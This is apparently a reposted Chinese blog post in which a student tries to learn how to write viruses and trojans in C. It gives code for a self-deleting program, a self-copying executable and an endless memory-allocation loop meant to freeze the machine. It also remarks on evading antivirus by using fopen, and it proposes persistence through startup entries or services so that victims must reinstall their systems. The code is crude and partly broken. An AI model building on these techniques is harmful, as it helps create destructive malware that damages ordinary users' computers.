打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
C语言写病毒,木马

 以前在网吧花了大投资的游戏账号被心痛的盗过一次,于是到了大学就傻逼傻逼的想写病毒,木马,出出风头,然后到处到处搜索,相关方法,以为这样就能写出病毒木马。一直持续到前段日子,偶尔看到一本关于杀毒软件是怎么查杀木马的资料,才知晓 自己当时的做法是多么的愚蠢,当时想到的一些方法,很多年前都被人想到了。看到的资料是也是前几年的。你说防病毒的书都不看还怎么写病毒。目前还是老实的学习吧,计算机是一门发展飞速的技术,以前我们只要学一点就能耀武扬威。现在这法子行不通了。大学课堂上的教材落后于外面技术发展5年。大家还是多去图书馆看点实在的书吧。 技术不是艺术。光有天赋是远远不够的。 

病毒的特征

,windows中的autorun.inf  能自动运行

以任意方式执行文件shellexecute命令 

Autorun的免疫程序可以防止inf再次被其他文件修改

利用外面的脚本语言给定的参数选择性运行程序的某种方案(例如.dos.shell.bat,autorun.inf......)

利用new,进程ID,read,write,和。。。。。

。利用把exe变成rc文件用vc打开import 你想要的应用程序 ico图标文件

领悟了一点

晚上回去补上

貌似改变当前程序运行的工作目录,就可以对自己进行自我删除????这就是传说中的自我销毁?待测试

#include <stdio.h>
#include <direct.h>
#include <windows.h>
#include <string.h>
int main(int argc,char *argv[])
{
char pwd[40]="del ";
chdir("c:\\");
strcat(pwd,argv[0]);
system(pwd);
return 0;

}

linux中有这么一句话:在进程运行过程中,当前目录所在的文件系统是不能卸载的,,,???如何理解??待解决?跟自我销毁有什么关系?

在linux中的这段代码红色部分不会执行,??为何?rm 到底 删除的是什么?

我们把中的rm改成其他命令下面的也不会运行 看来这是exec函数族 的 机制问题,待考证

#include<stdio.h>
#include<unistd.h>


int main(int argc,char *argv[])
{
if( execlp("rm","rm",argv[0],NULL) < 0)
{
perror("execlp error:");
}
else fprintf(stdout,"delmyself success!\n");
printf("del success\n");



return 0;
}

试验证明这段代码调试能过但运行会出错/ 显示。。。。。。test.exe拒绝访问据说可以利用多进程实现,在linux中是允许自我删除的,,就像linux中的守护进程

我们先用c实现 文件的自我复制功能:

  1. #include<stdio.h>
  2. int main(int argc,char *argv[])
  3. {
  4. FILE *fp1,*fp2;
  5. char buf[200];
  6. int nmemb;
  7. if((fp1 = fopen(argv[0],"rb")) == NULL)//注意这里是以二进制的方式
  8. {
  9. printf("source error\n");
  10. return -1;
  11. }
  12. if((fp2 = fopen("dest.exe","wb")) == NULL)//注意这里是以二进制的方式
  13. {
  14. printf("dest error\n");
  15. return -2;
  16. }
  17. while(( nmemb = fread(buf,1,100,fp1) ) != 0 )
  18. {
  19. fwrite(buf,1,nmemb,fp2);
  20. }
  21. fclose(fp1);
  22. fclose(fp2);
  23. return 0;
  24. }

windows环境测试通过 linux环境 需要把dest.exe改下 就ok 真正的自我复制哦

若用open函数则会出现下列自动被识别为病毒文件了


用fopen的话

当对某个文件进行重新写入的时候,杀毒软件会以为他要感染其他文件 所以就会发出警报


杀毒软件杀不出来 
若有改进  则马上那个更新

下面我们要实现 这个执行文件的破坏能力 那就是用 

int *p;

while(1)

{

p = (int *)new(1000000);

}

设想:利用资源把exe文件当二进制文件引入,然后再在主执行文件中调用它,这样可以把捆绑在一起 程序 的分开 已经解决

病毒另一个特征是 感染,这个,得到本目录里的文件名然后重写?利用多进程,??,》?(修改其他文件会被nod32查出)

占用内存空间 导致机子完全死机,大家要记得利用c把这个文件复制到启动栏里去,或者写到服务里去让系统启动的时候自动加载他,这样非专业人士就救不了那电脑了,只有重装,可以写在其他盘里,然后做些处理,让运行时检查这个文件是否存在,不存在 则自我复制,,,,,

,,,,

以后知道了再实现

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
带参数的主函数2
小话c语言(4)
教你彻底学会c语言基础——文件操作
C语言文件操作详解
文件加密一例
文件操作
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服